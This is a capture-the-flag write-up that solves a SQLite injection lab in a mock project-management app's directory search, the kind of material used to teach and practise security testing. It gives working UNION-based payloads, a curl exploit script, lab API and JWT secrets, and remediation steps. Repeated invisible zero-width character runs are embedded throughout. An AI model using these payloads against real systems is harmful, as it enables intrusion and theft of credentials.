Lab 203 — PlanFlow — SQL Injection in Team Directory Search

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: column_count_detection, error_based_sqli_detection, sqlite_schema_enumeration, union_based_sqli

Summary

Task: Agile project management platform with team directory search vulnerable to SQL injection in SQLite. Solution: UNION-based SQLi to enumerate schema via sqlite_master and extract flag from secret_config table.

Lab 203 — PlanFlow — SQL Injection in Team Directory Search

Description

PlanFlow is an agile project management platform used by development teams at Flowline Software to organize sprints, manage tasks on Kanban boards, and coordinate team workflows. The application supports project creation, task assignment with priority levels, team member management, and a searchable team directory.

Objective: Find a vulnerability in the application that allows you to access sensitive data you shouldn't be able to reach through normal application usage.

Hint: The team directory has a search feature that filters members by name. Try submitting unexpected characters and observe how the application responds. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An agile project management application with a team directory search feature. The search parameter is vulnerable to SQL injection in SQLite, allowing schema enumeration and data exfiltration via UNION-based injection.

Target: https://5cc815be-afbf-4678-a6e5-a1f1cfa3ce19.labs.hackadvisor.io/ Credentials: user@test.com / password123

Analysis

Reconnaissance

1. Logged in with provided credentials
2. Found Team Directory at /team with a search feature (/team?q=...)
3. The search filters team members by name ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Detection

Submitted a single quote ' in the search field:

/team?q='

Response:

Search error: unrecognized token: "'"

This error message confirms:

• SQL injection vulnerability exists
• Backend database is SQLite (characteristic error format)
• User input is directly concatenated into SQL query

Column Count Enumeration

Used ORDER BY technique to determine the number of columns in the original query:

' ORDER BY 5--   → Works (no error)
' ORDER BY 6--   → Error

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: The query returns 5 columns.

Boolean-based Confirmation

Verified injection works with a tautology:

' OR 1=1--

This returned 11 member cards instead of 0, confirming the injection affects query results.

Solution

Step 1: Schema Extraction

Used UNION-based injection to dump table names from SQLite's sqlite_master system table:

 sql read-only • copy allowed Copy
ZZZNOTEXIST' UNION SELECT name,sql,'c','d','e' FROM sqlite_master WHERE type='table'--

URL-encoded:

/team?q=ZZZNOTEXIST%27%20UNION%20SELECT%20name,sql,%27c%27,%27d%27,%27e%27%20FROM%20sqlite_master%20WHERE%20type=%27table%27--

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered tables:

• users — user accounts
• projects — project data
• tasks — task management
• activity_log — activity tracking
• project_members — project membership
• secret_config — suspicious table containing secrets

Step 2: Data Exfiltration

Extracted data from the secret_config table:

 sql read-only • copy allowed Copy
ZZZNOTEXIST' UNION SELECT *,'x','y' FROM secret_config--

URL-encoded:

/team?q=ZZZNOTEXIST%27%20UNION%20SELECT%20*,%27x%27,%27y%27%20FROM%20secret_config--

Retrieved sensitive configuration data:

• FLAG: FLAG{REDACTED}
• INTERNAL_API_KEY: sk-pf-29xMk4nQ7rL8vB3w
• JWT_SIGNING_SECRET: hmac-sha256-flowline-2026-prod ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit with curl

 bash read-only • copy allowed Copy
#!/bin/bash
# PlanFlow SQLi Exploit

TARGET="https://5cc815be-afbf-4678-a6e5-a1f1cfa3ce19.labs.hackadvisor.io"
COOKIES="session=<your_session_cookie>"

# Step 1: Enumerate tables
curl -s -b "$COOKIES" \
  "$TARGET/team?q=ZZZNOTEXIST%27%20UNION%20SELECT%20name,sql,%27c%27,%27d%27,%27e%27%20FROM%20sqlite_master%20WHERE%20type=%27table%27--"

# Step 2: Extract flag from secret_config
curl -s -b "$COOKIES" \
  "$TARGET/team?q=ZZZNOTEXIST%27%20UNION%20SELECT%20*,%27x%27,%27y%27%20FROM%20secret_config--"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Additional Findings

Beyond the flag, the SQL injection exposed:

• API Key: sk-pf-29xMk4nQ7rL8vB3w — could be used for API access
• JWT Secret: hmac-sha256-flowline-2026-prod — could be used to forge authentication tokens

Remediation

1. Use parameterized queries / prepared statements
2. Implement input validation and sanitization
3. Apply principle of least privilege for database user
4. Remove sensitive data from application database
5. Implement proper error handling (don't expose SQL errors) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍